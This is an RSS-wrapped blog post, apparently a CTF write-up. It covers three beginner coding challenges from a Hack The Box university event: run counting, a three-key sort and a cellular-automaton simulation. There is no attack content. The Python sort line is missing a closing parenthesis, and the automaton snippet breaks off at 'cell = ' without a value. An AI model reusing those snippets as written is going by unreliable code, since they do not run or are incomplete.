            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*y2u5f_1WKhlJ547yFpS3mw.jpeg" /></figure><p>Hello everyone! 👋</p><p>During the <strong>Hack The Box University CTF 2025: Tinsel Trouble</strong>, I solved several <strong>coding-style challenges</strong> that focused on pattern recognition, sorting, and simulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*6RIO-K2FPzVS6C5j3vX-ZA.png" /></figure><h3>🧩 Coding Challenge #1: Flickering Snowglobe</h3><p><strong>Difficulty:</strong> Very Easy</p><h3>Problem Summary</h3><p>We are given a string representing magical pulses (., -, *).<br> A <strong>stable segment</strong> is defined as a <strong>maximal contiguous sequence of the same character</strong>.</p><p>The goal is to count how many stable segments appear in the string.</p><h3>Key Insight</h3><p>A new segment starts <strong>every time the character changes</strong>.</p><p>So:</p><ul><li>A non-empty string has at least <strong>one</strong> segment</li><li>Every S[i] != S[i-1] adds one more</li></ul><h3>Solution Idea</h3><p>Scan the string once and count character changes.</p><h3>Code (Python)</h3><pre>segments = 1<br>for i in range(1, len(s)):<br>    if s[i] != s[i - 1]:<br>        segments += 1</pre><h3>🧩 Coding Challenge #2: Bauble Sort</h3><p><strong>Difficulty:</strong> Easy</p><h3>Problem Summary</h3><p>Each bauble has:</p><ul><li>an identifier</li><li>a sparkle value</li><li>a stability value</li></ul><p>They must be sorted using these rules:</p><ol><li>Higher sparkle first</li><li>Lower stability if sparkle ties</li><li>Alphabetical identifier if both tie</li></ol><h3>Key Insight</h3><p>This is a <strong>multi-key sorting problem</strong>.</p><h3>Solution Idea</h3><p>Use a custom sort key:</p><ul><li>sparkle → descending</li><li>stability → ascending</li><li>identifier → ascending</li></ul><h3>Code (Python)</h3><pre>baubles.sort(key=lambda x: (-x.sparkle, x.stability, x.id)</pre><h3>🧩 Coding Challenge #3: Cellcode</h3><p><strong>Difficulty:</strong> Medium</p><h3>Problem Summary</h3><p>This challenge simulates a <strong>Game of Life–style cellular automaton</strong>.</p><p>Each cell:</p><ul><li>Has up to 8 neighbors</li><li>Evolves based on a custom rule string Bx/Sy</li><li>Updates happen in parallel for T generations</li></ul><h3>Key Insight</h3><p>Each generation depends <strong>only on the previous one</strong>, and T ≤ 6, so a direct simulation is safe.</p><h3>Solution Idea</h3><p>For each generation:</p><ol><li>Count alive neighbors for every cell</li><li>Apply birth and survival rules</li><li>Build a new grid</li></ol><h3>Code Concept</h3><pre>if cell == 0 and neighbors in B:<br>    cell = 1<br>elif cell == 1 and neighbors not in S:<br>    cell = </pre><h3>🏁 Final Thoughts</h3><p>These challenges were a great reminder that:</p><ul><li>Some CTF problems boil down to <strong>classic computer science patterns</strong></li><li>Clean logic beats complex tricks</li><li>Coding challenges are an excellent entry point for beginners in CTFs</li></ul><p>If you’re new to Hack The Box CTFs, <strong>don’t skip the coding category</strong> — it builds strong fundamentals that transfer to every other domain.</p><p>Thanks for reading, and happy hacking. 🎄💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88435905d559" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>